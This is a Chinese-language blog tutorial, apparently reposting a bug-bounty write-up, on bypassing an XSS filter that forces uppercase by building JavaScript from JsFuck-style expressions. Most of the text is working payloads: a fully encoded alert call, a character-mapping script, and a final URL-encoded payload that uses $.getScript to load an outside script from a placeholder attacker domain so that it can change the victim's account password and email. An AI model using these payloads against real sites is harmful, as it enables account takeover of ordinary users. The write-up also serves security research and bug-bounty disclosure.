如何绕过像PRO这样的XSS过滤器

本篇文章为大家展示了如何绕过像PRO这样的XSS过滤器，内容简明扼要并且容易理解，绝对能使你眼前一亮，通过这篇文章的详细介绍希望你能有所收获。

JavaScript代码中如果存在代码注入漏洞的话，那确实是一个令人头疼的问题，由于这个项目并不是我们为企业环境做的渗透测试项目，因此我们可以直接将技术细节公布给大家。

简而言之，我们在某网站上发现了一个安全漏洞，经过一段时间的代码分析之后，我们成功发现了一个存在XSS漏洞的节点：

http://website.com/dir/subdir

在该节点的JavaScript代码中，有如下代码：

function("/DIR/SUBDIR",params);

使用Burp Suite扫描之后，我们发现在URL结尾添加"-alert(1)-"（http://website.com/dir/subdir/"-alert(1)-"）将能够反射XSS，浏览器会告诉我们"unable to find function ALERT(1)"：

那么接下来，我们需要测试服务器到底过滤掉了什么，比如说是""、"//"、"\"还是"."。

寻找可用的Payload

我们也寻找到了一些解决方案，而且都跟jsfuck.com有关。

当然了，在这个站点我们也可以执行一次"alert(1)"，但这只是低危的XSS，我们想要将该漏洞提升为高危或严重漏洞。为了实现这个目标，我们将需要加载一个外部JS文件，并且能够在不需要任何用户交互的情况下执行任意Web行为。

下图显示的是一个WordPress Payload，我们的目标是在目标网站中加载要一个外部JS文件，并修改账号密码以及邮箱：

制作JsFuck Payload，在JsFuck代码中，简单地"alert(1)"会被转换为：

"-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-"

如果我想要实现"alert([xss_clean])"，那么整个JsFuck代码估计要到13000多个字符了。我发现，只要字符超过2500-2700个之后，目标站点的服务器就会返回"错误400"。

接下来，我们研究一下JsFuck的工作机制：

const SIMPLE = {    'false':      '![]',    'true':       '!0',    'undefined':  '0[0]',    'NaN':        '+[!0]',    'Infinity':   '+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])' // +"1e1000"  };const CONSTRUCTORS = {    'Array':    '[]',    'Number':   '(+0)',    'String':   '([]+[])',    'Boolean':  '(!0)',    'Function': '[]["fill"]',    'RegExp':   'Function("return/"+0+"/")()'  };const MAPPING = {    'a':   '(false+"")[1]',    'b':   '([]["entries"]()+"")[2]',    'c':   '([]["fill"]+"")[3]',    'd':   '(undefined+"")[2]',    'e':   '(true+"")[3]',    'f':   '(false+"")[0]',    'g':   '(false+[0]+String)[20]',    'h':   '(+(101))["to"+String["name"]](21)[1]',    'i':   '([false]+undefined)[10]',    'j':   '([]["entries"]()+"")[3]',    'k':   '(+(20))["to"+String["name"]](21)',    'l':   '(false+"")[2]',    'm':   '(Number+"")[11]',    'n':   '(undefined+"")[1]',    'o':   '(true+[]["fill"])[10]','p':   '(+(211))["to"+String["name"]](31)[1]',

然后，在Chrome中执行部分代码：

一般来说，我们可以直接用不同类型的变量来"包装"这些字符串，所以我们可以使用小写字符来存储类似false、true、undefined、NaN和Infinity之类的关键字字符串。

接下来，我想要避免使用小写字符：

Á=![]; //falseÉ=!![]; //true Í=[][[]]; //undefinedÓ=+[![]]; //NaNSI=+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]);// InfinityST=([]+[]); //Ü=(+[]);A=(Á+"")[1];D=(Í+"")[2];E=(É+"")[3];F=(Á+"")[0];G=[![]+[+[]]+[[]+[]][+[]][[![]+{}][+[]][+!+[]+[+[]]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[![]+{}][+[]][+!+[]+[+[]]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]][+[]][!+[]+!+[]+[+[]]];I=([Á]+Í)[10];L=(Á+"")[2];T=(É+"")[0];O=(É+[][F+I+L+L])[10];R=(É+"")[1];N=(Í+"")[1];M=(+(208))[T+O+"S"+T+R+I+N+G](31)[1];P=(+(211))[T+O+"S"+T+R+I+N+G](31)[1];S=(Á+"")[3];U=(Í+"")[0];V=(+(31))[T+O+"S"+T+R+I+N+G](32);X=(+(101))[T+O+"S"+T+R+I+N+G](34)[1];Y=(Ó+[SI])[10];Z=(+(35))[T+O+"S"+T+R+I+N+G](36);C=([][F+I+L+L]+"")[3];H=(+(101))[T+O+"S"+T+R+I+N+G](21)[1];K=(+(20))[T+O+"S"+T+R+I+N+G](21);W=(+(32))[T+O+"S"+T+R+I+N+G](33);J=([][E+N+T+R+I+E+S]()+"")[3];B=([][E+N+T+R+I+E+S]()+"")[2];

当然了，我还需要使用到"."和"/"，这里我可以利用浮点值1.1e+101来得到"."：

非常好，我们要的"."已经有了，现在还差"/"和"g"，考虑到大写字母过滤器的存在，我打算使用JsFuck，因此不得不牺牲1200个字符，不过这个Payload目前也只有500-800个字符，离最终的上限还有一段距离。

既然我们已经得到了所有需要的字符，那么接下来就是执行我们的Payload了：

[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](A+L+E+R+T(1))();

上述这段JsFuck代码会被翻译成"fill.constructor(alert(1))"，并且让我们的JavaScript文件全部以大写字母的形式执行，非常好！

我祈祷我们的目标站点使用的是JQuery，并且在页面HTML代码的结尾进行加载，那么在注入完成之后，并且等待三秒钟加载所有的依赖组件，最终执行$.getScript来加载我们的外部JS文件。

[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](S+E+T+"T"+I+M+E+O+U+T+"("+F+U+N+C+T+I+O+N+"(){ $"+DOT+G+E+T+"S"+C+R+I+P+T+"('"+SLA+SLA+"test"+SLA+"test')(); }, 3000);")();

等待了三秒钟之后，我们成功拿到了test/test请求！！接下来，使用URL编码对Payload进行编码处理，最终的Payload如下所示：

%3B%C3%81=![]%3B%C3%89=!![]%3B%C3%8D=[][[]]%3B%C3%93=%2B[![]]%3BSI=%2B(%2B!%2B[]%2B(!%2B[]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[%2B!%2B[]]%2B[%2B[]]%2B[%2B[]]%2B[%2B[]])%3BST=([]%2B[])%3B%C3%9C=(%2B[])%3BA=(%C3%81%2B%22%22)[1]%3BD%20=%20(%C3%8D%2B%22%22)[2]%3BE%20=%20(%C3%89%2B%22%22)[3]%3BF%20=%20(%C3%81%2B%22%22)[0]%3BG%20=%20[![]%2B[%2B[]]%2B[[]%2B[]][%2B[]][[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B!%2B[]]%2B[![]%2B[]][%2B[]][!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B[]]%2B[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]]][%2B[]][!%2B[]%2B!%2B[]%2B[%2B[]]]%3BI%20=%20([%C3%81]%2B%C3%8D)[10]%3BL%20=%20(%C3%81%2B%22%22)[2]%3BT%20=%20(%C3%89%2B%22%22)[0]%3BO%20=%20(%C3%89%2B[][F%2BI%2BL%2BL])[10]%3BR%20=%20(%C3%89%2B%22%22)[1]%3BN%20=%20(%C3%8D%2B%22%22)[1]%3BM%20=%20(%2B(208))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BP%20=%20(%2B(211))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BS%20=%20(%C3%81%2B%22%22)[3]%3BU%20=%20(%C3%8D%2B%22%22)[0]%3BV%20=%20(%2B(31))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](32)%3BX%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](34)[1]%3BY%20=%20(%C3%93%2B[SI])[10]%3BZ%20=%20(%2B(35))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](36)%3BC%20=%20([][F%2BI%2BL%2BL]%2B%22%22)[3]%3BH%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)[1]%3BK%20=%20(%2B(20))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)%3BW%20=%20(%2B(32))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](33)%3BJ%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[3]%3BB%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[2]%3BDOT%20=%20(%2B(%2211E100%22)%2B[])[1]%3BSLA=(![]%2B[%2B![]])[([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B([][(![]%2B[])[%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B!%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]]()[%2B!%2B[]%2B[%2B[]]]%3B[][F%2BI%2BL%2BL][C%2BO%2BN%2BS%2BT%2BR%2BU%2BC%2BT%2BO%2BR](S%2BE%2BT%2B%22T%22%2BI%2BM%2BE%2BO%2BU%2BT%2B%22(%22%2BF%2BU%2BN%2BC%2BT%2BI%2BO%2BN%2B%22()%7B%20$%22%2BDOT%2BG%2BE%2BT%2B%22S%22%2BC%2BR%2BI%2BP%2BT%2B%22('%22%2BSLA%2BSLA%2B%22BADASSDOMAIN%22%2BDOT%2B%22COM%22%2BSLA%2B%22BADASSURL')()%3B%20%7D,%203000)%3B%22)()%3B(%22

我们成功地在目标站点中加载了外部JS文件，并且我们的外部JS文件可以修改目标账号的用户密码！

总结

该漏洞可以允许攻击者实现账户接管，并将低危的XSS漏洞提升为高危漏洞，而该漏洞也拿到了1000美金的漏洞奖励。

上述内容就是如何绕过像PRO这样的XSS过滤器，你们学到知识或技能了吗？如果还想学到更多技能或者丰富自己的知识储备，欢迎关注行业资讯频道。